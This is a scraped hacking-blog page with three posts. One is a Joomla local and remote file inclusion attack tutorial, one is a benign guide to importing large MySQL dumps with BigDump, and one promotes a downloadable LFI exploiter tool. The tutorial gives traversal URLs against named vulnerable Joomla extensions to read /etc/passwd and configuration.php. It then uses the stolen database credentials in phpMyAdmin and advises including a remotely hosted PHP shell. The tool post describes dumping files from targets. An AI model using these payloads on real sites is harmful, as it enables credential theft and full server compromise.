Hacking Tutorials Joomla Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin Joomla Hacking Tools: Hack Joomla with self-written tools by Valenti...

Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

4/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="997104527121951847"><div style="text-align: center;"><b>Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack</b></div><div style="text-align: center;"><b><br />
</b></div><div style="text-align: center;"><b>By <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><br />
<div style="text-align: center;"><b>Examples for Joomla local file inclusions</b></div><br />
<b>Local file inclusions </b>are very funny. You tell the website what you want to see. Awesome! You want to view the configuration file which contains the database login credentials? No problem.<div><br />
You want to view the /etc/passwd file if Joomla is hosted on a Linux box? You can do that.<br />
<br />
<b>Local file inclusions</b> are also a common problem in Joomla extensions. Many of them are vulnerable for this type of attack and some of them never get fixed. This may lead to a server hack, which is not funny any more - at least for the system administrator.<br />
<br />
A typical URL being vulnerable to LFI looks like this:<br />
index.php?option=com_blablubb&Item=2&view=guestbookpage<br />
<br />
Typically most of the vulnerable parameters are this one:<br />
- controller<br />
- view<br />
- layout<br />
- page<br />
<br />
To give you some proper understanding of typical affected<br />
URLs I provide you with some examples I found earlier this year:<br />
<br />
URL: index.php?option=com_jejob&view=some_value<br />
Vulnerable Parameter: view<br />
<br />
URL: index.php?option=com_jeajaxeventcalendar&view=some_value<br />
Vulnerable Parameter: view<br />
<br />
URL: index.php?option=com_jradio&controller=some_value<br />
Vulnerable Parameter: controller<br />
((I didn't find this one.))<br />
<br />
Now let's see how we can use this:<br />
index.php?option=com_jradio&controller=../../../../etc/passwd<br />
<br />
In this case we need to use the famous Nullbyte which helps us to bypass a restriction which is set in the responsible PHP script of the component.<br />
<br />
In the example above the controller parameter is used to include a file from the local hard disk. This file contains useful information for us.<br />
<br />
If you are not familiar with local file inclusions I recommend you look a tutorial up since I will not explain any details here.<br />
<br />
Now with the knowledge about a LFI vulnerability within a Joomla component, we can try to access the configuration.php of Joomla. This file contains very very interesting information.<br />
<br />
Since many LFIs also reveal PHP source code, we try this one:<br />
index.php?option=com_blabla&view=../../../configuration.php<br />
<br />
The source code of the file is shown and we receive the login data for the current database user. Now find a <b>PHPMyAdmin login</b> on the same server and try to login with this data.<br />
<br />
<b>You now have access to all Joomla tables and can basically do what you want.<br />
</b><br />
<div style="text-align: center;"><b>Examples for Joomla remote file inclusions</b></div><div style="text-align: center;"><br />
</div>Some Joomla components are also known for containing <b>remote file inclusion vulnerabilities.</b> RFIs allow us to include files from another server and to execure code on the target.<br />
<br />
A typical RFI URL looks like a LFI URL. In order to give you a better feeling of how to see a RFI vulner-ability within seconds, I show you some examples<br />
<br />
URL: index.php?option=com_sef&Itemid=&mosConfig.absolute.path=.<br />
Vulnerable Parameter: &mosConfig.absolute.path<br />
<br />
URL: index.php?option=com_jomestate&task=.<br />
Vulnerable Parameter: task<br />
<br />
When you found a RFI vulnerability, try to include your PHP shell which is hosted on another box. Once you uploaded it, you are able to browse all Joomla files and download them, change them, remove them...<br />
<br />
<b>No Joomla installation is safe when there is an exploited RFI.</b></div></span></div></span><br />
<div><br />
</div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Hacking Tutorials Joomla Joomla LFI Local File Inclusions Attack | Joomla RFI Remote File Inclusions Attack

Joomla RFI Remote File Inclusions Attack | Joomla LFI Local File Inclusions Attack Joomla LFI Local File Inclusions Attack | Joomla RFI Remo...

Import Large MySQL Databases using 'Bigdump'

4/09/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEzn-nUxvGIndPMu4fonFHaQQWaXtsmcMBPXcmU6_S3D8F6iU0oaNZOh6HUyXqHacW3AlqVpmW60JfuxqjR8nrb_CZhJh66QupxK-Wovdu6I2IWigUwaSELyr91NBkPqnePbSGqdAC3jw/s1600/Big-Dump.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Import Large MySQL Databases" border="0" data-original-height="458" data-original-width="796" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEzn-nUxvGIndPMu4fonFHaQQWaXtsmcMBPXcmU6_S3D8F6iU0oaNZOh6HUyXqHacW3AlqVpmW60JfuxqjR8nrb_CZhJh66QupxK-Wovdu6I2IWigUwaSELyr91NBkPqnePbSGqdAC3jw/s640/Big-Dump.png" title="Import Large MySQL Databases" width="640" /></a></div>
<br />
Hello friends,<br />
Today I am going to give you a useful <a href="http://www.hackerschronicle.com/search/label/Tutorials">tutorial </a>on uploading big database to phpMyAdmin. Many times you have seen this error message at the time of loading database, "Got a packet bigger than 'max_allowed_packet' bytes". It means you are not allowed to upload big database pack to phpMyAdmin.</div>
<div>
</div>
<div style="text-align: justify;">
As a website owner or blogger, you may want to import your MySQL</div>
dump from one server to another server database, but what you do if it exceeds the limit offered by phpMyAdmin. By default, phpMyAdmin provides the upload limit specified in the php.ini file. You can increase this upload limit size by editing the php.ini file if you have access to it, generally, if you are in a shared hosting you won’t be able to edit this file because it will affect all the accounts on that server. If you have shell access to your account you can import easily, see below for how to import using SSH.<br />
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b>Using BigDump.php (Recommended):</b><a href="http://www.ozerov.de/bigdump.php"><br />BigDump</a> is a script written by Alexey Ozerov for importing large <a href="http://www.hackerschronicle.com/search/label/MySQL">MySQL </a>dumps. It’s a staggered MySQL dump importer, meaning the script executes only small part of the huge dump and restarts itself, the next session starts where the last was stopped. This process continues until it imports the whole database dump.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b>Download BigDump</b> from here, <a href="http://www.ozerov.de/bigdump.zip" title="http://www.ozerov.de/bigdump.zip">http://www.ozerov.de/bigdump.zip</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<span style="text-decoration: underline;"><b>Steps:</b></span></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
1.Adjust the database configuration in this file<br />
2. Drop the old tables on the target database if your dump doesn't contain "DROP TABLE"<br />
3. Create the working directory (e.g. dump) on your web-server<br />
4. Upload bigdump.php and your dump files (.sql, .gz) via FTP to the working directory<br />
5. Run the bigdump.php from your browser via URL like <a href="http://www.yourdomain.com/dump/bigdump.php" title="http://www.yourdomain.com/dump/bigdump.php">http://www.yourdomain.com/dump/bigdump.php</a><br />
6. BigDump can start the next import session automatically if you enable the JavaScript<br />
7. Wait for the script to finish, do not close the browser window<br />
8. IMPORTANT: Remove bigdump.php and your dump files from the web-server</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
If you have completed the steps successfully you are done.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b>Using SSH:</b><br />
Shared hosting account does not have shell access. If you have shell access you can use the following commands to dump your MySQL database.<br />
<span class="command wobble-horizontal">#mysql -u [user] -p [password] -h [hostname] [databasename] <[file.sql]</span></div>
</div>

Linux Tutorials MySQL PHP phpMyAdmin Tutorials Import Large MySQL Databases using 'Bigdump'

Hello friends, Today I am going to give you a useful tutorial on uploading big database to phpMyAdmin. Many times you have seen this e...

Local File Inclusion Exploiter Version 1.2 Download Free

4/06/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"></span><br />
<div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><a href="http://www.xenuser.org/wp-content/uploads/2010/11/lfi_sploiter-1_0-screenshot-287x300.png" style="color: #3778cd; text-decoration: none;"><img alt="Local File Inclusion Exploiter" border="0" height="640" src="http://www.xenuser.org/wp-content/uploads/2010/11/lfi_sploiter-1_0-screenshot-287x300.png" style="background-color: transparent; border: 1px solid transparent; display: block; height: 300px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 287px;" title="Local File Inclusion Exploiter" width="612" /></a></span></span><br />
<div style="text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Local File Inclusion Exploiter Version 1.2 Download Free by Valentin</b></span></span></div>
<div style="text-align: center;">
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Description </b></span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">The Simple Local File Inclusion Exploiter helps you to exploit LFI vulnerabilities. After you found one, simply pass the URL of the affected website and the vulnerable parameter to this tool. You can also use this tool to scan a parameter of an ULR for a LFI vulnerability.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Usage<br />
</b>./lfi_sploiter.py –exploit-url= –vulnerable-parameter=</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Usage example<br />
</b>./lfi_sploiter.py –exploit-url=<a href="http://www.example.com/page.php?file=main">http://www.example.com/page.php?file=main</a> –vulnerable-parameter=file</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Usage notes<br />
</b>- Always use http://….</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- When you pass a vulnerable parameter, this tool assumes that it is really vulnerable.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- If you do not know if a parameter is vulnerable, simply pass it to this script and let the scanner have a look.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Only use one vulnerable parameter at once.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- This tool does not work with SEO URLs, such as <a href="http://www.example.com/news-about-the-internet/">http://www.example.com/news-about-the-internet/</a>.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- If you only have a SEO URL, try to find out the real URL which contents parameters.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Feature list<br />
</b>- Provides a random user agent for the connection.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Checks if a connection to the target can be established.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Tries catch most errors with error handling.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Contains a LFI scanner (only scans one parameter at once).</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Finds out how a LFI vulnerability can be exploited (e.g. directory depth).</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Supports nullbytes!</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Exploit features: Dumps a list of interesting files to your hard disk.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Supports common *nix targets, but no Windows systems.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Known issues<br />
</b>- I know there is more about LFI than it is covered in this tool. But this is the first release,</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">and more features will be implemented in future versions.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- This tool is only able to handle "simple" LFI vulnerabilities, but not complex ones. For example: Some LFI vulnerabilities consist of two URL parameters or require to find a way around filters. In those cases, this tool unfortunately does not work.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Like most other LFI exploiter / scanner, this tool here also has problems with handling certain server responses. So this tool does not work with every website.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><br /></span></span>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>Some notes<br />
</b>- Tested with Python 2.6.5.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Modify, distribute, share and copy the code in any way you like!</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Please note that this tool was created for educational purposes only.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Do not use this tool in an illegal way. Know and respect your local laws.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Only use this tool for legal purposes, such as pentesting your own website</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- I am not responsible if you cause any damage or break the law.</span></span><br />
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772">- Power to teh c0ws!</span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b>All are Python scripts</b></span></span><br />
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><a href="http://www.xenuser.org/tools/lfi_sploiter.py" style="color: #3778cd; text-decoration: none;"><b>Download Version 1.2</b></a></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><a href="http://www.xenuser.org/tools/lfi_sploiter-1_1.py" style="color: #3778cd; text-decoration: none;"><b>Download Version 1.1</b></a></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b><br />
</b></span></span></div>
<div>
<span class="Apple-style-span" style="background-color: white; color: #444444; font-family: "arial" , "tahoma" , "helvetica" , "freesans" , sans-serif; font-size: 13px; line-height: 18px;"><span id="1574857532678537772"><b style="color: #3778cd; text-decoration: none;"><a href="http://www.xenuser.org/tools/lfi_sploiter-1_0.py" style="color: #3778cd; text-decoration: none;">Download Version 1.0</a></b></span></span></div>
</div>
</div>
</div>

Hacking Tools Hacking Tutorials LFI Tutorials Local File Inclusion Exploiter Version 1.2 Download Free

Local File Inclusion Exploiter Version 1.2 Download Free by Valentin Description The Simple Local File Inclusion Exploiter helps ...